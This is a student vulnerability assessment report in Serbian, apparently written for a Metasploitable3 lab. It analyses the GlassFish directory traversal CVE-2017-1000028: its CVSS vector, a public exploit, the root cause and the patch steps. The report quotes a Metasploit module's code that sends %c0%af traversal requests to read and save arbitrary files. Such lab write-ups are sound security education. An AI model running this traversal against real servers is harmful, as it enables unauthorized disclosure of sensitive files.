Vulnerability Assessment Report Template

Ime i prezime: Luka Zelović
Tim: 9
Datum: 28.10.2024.
Scan Tool: Nessus 10.8.3
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2017-1000028

- **Opis:**

  CVE-2017-1000028 predstavlja Directory Traversal ranjivost koja omogućava neautenifikovanim napadačima da pristupaju sadržaju koji bi trebao biti zaštićen ili skriven. Ovo se postiže formiranjem specijalnih HTTP GET zahteva.

  - **Ime servisa: Oracle GlassFish Server Open Source Edition**
  - **Port: 4848**
  - **Protokol: TCP**

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 7.5**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  - **AV (Attack Vector)** – **Network** (Eksploatacija se može dogoditi preko mreže, kao što je internet)
  - **AC (Attack Complexity)** – **Low** (Ovaj napad je lako izvesti i ne zahteva mnogo tehničkog znanja)
  - **PR (Privileges Required)** – **None** (Napadaču nisu potrebni specifični privilegiji ili nalog za uspešnu eksploataciju)
  - **UI (User Interaction)** – **None** (Eksploatacija ne zahteva interakciju korisnika)
  - **S (Scope) – Unchanged** (Opseg ranjivosti nije promenjen)
  - **C (Confidentiality Impact)** – **High** (Narušena je poverljivost, napadač dobija pristup zaštićenim informacijama)

    - **I (Intergrity Impact)** – **None** (Ne utiče na integritet)
    - **A (Availability Impact)** – **None** (Ne utiče na dostupnost)
- **Opravdanje:**

  Eksploatabilnost – Eksploatacija ove ranjivost je jednostavna i ne zahteva visoko tehničko znanje a uz to može da se izvrši putem interneta (bez fizičkog kontakta).

  Impact – Ova ranjivost ne utiče na intergritet (ne dolazi do promene podatka) i dostupnost (ne narušava pristup samom sistemu) ali omogućava pristup osetljvim informacijama zbog čega dolazi do ogromnog narušavanja poverljivosti

  Obim – Napadači mogu da eksploatišu ovu ranjivost samo unutar ranjivog sistema – ranjivost ne utiče na druge sisteme.

  Zbog visoke eksploatabilnosti i velikog uticaja na poverljivost, ova ranjivost dobija visok CVVS skor ali nije kritičan ipak jer nema uticaja na dostupnost i integritet, niti veliki obim.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit : Da, https://www.exploit-db.com/exploits/45196**
- **Opis eksploita:**
  Exploit cilja Oracle GlassFish Server Open Source Edition verziju 4.1. odnosno administrativnu konzolu na ovom serveru koja je dostupna na portu 4848. Koristi directory traversal ranjivost da omogući neautentifikovanim korisnicima (napadačima) da dobiju pristup sadržaju koji bi trebao biti zaštićen ili skriven. Do tog sadržaja napadači dolaze korišćenjem niza sekvenci specijalnih karaktera koji se jos nazivaju path traversal sekvence. Korišćenjem tih sekvenci koje se dodaju u URL, napadač izlazi iz dozvoljenih direktorijuma i dobija pristup fajlovima na drugim putanjama. Zbog toga, posledica ovog exploita jeste curenje osetljivih podataka kao i curenje podataka koji mogu da se iskoriste i za neke dalje napade na sistem.

- **Kod eksploita (ukoliko postoji):**

```
  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "%c0%af.." * datastore['DEPTH'] << filename

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "/theme/META-INF/prototype#{traversal}"
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'oracle.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
```

1. Prvo definišemo ime fajla koji predstavlja cilj napada
2. Zatim generišemo traversal sekvencu (“%c0%af” – predstavlja UTF-8 kod za /) pomoću koje možemo da izađemo iz trenutno direktorijuma, dok datastore[‘DEPTH’] definise koliko puta ce ponavljati ova sekvenca (koliko puta cemo ići “unazad” da bi stigle do željenog direktorijuma)
3. Slanje HTTP GET zahteva u kojem se nalaze traversal sekvence
4. Provera da li je zahtev uspešan, ako jeste preuzimamo fajl koji je bio cilj ovog napada

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost CVE-2017-1000028 uvedena je u Oracle GlassFish Server Open Source Edition verziji 4.1. i nije vezana za specifičnu biblioteku vec je problem u samoj konfiguraciji i implementaciji servera.
  Ona se javlja zbog neadekvatne validacije korisničkog ulaza koja omogućava napadačima da koristie directory traversal kako bi pristupili zastićenim ili skrivenim datotekama.

- **Primer Koda (ako je primenljivo):**

  Nema javno dostupnog primera koda za ovu ranjivost ali uzrok leži u nedostatku validacije unosa korisnika, što omogućava napačima da eksploatišu ranjivost.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:**

  1) Preuzeti vendor patch sa zvaničnog Oracle sajta ili Oracle Support platforme
  2) Zaustaviti GlassFish server pokretanjem komande : asadmin stop-domain <ime-domena>
  3) Instalacija patch-a
  4) Ponovo pokrenuti server komandom : asadmin start-domain <ime-domena>

  Za automatizaciju primene patch-ova moguce je koristiti alate koa sto su Ansible ili Puppet.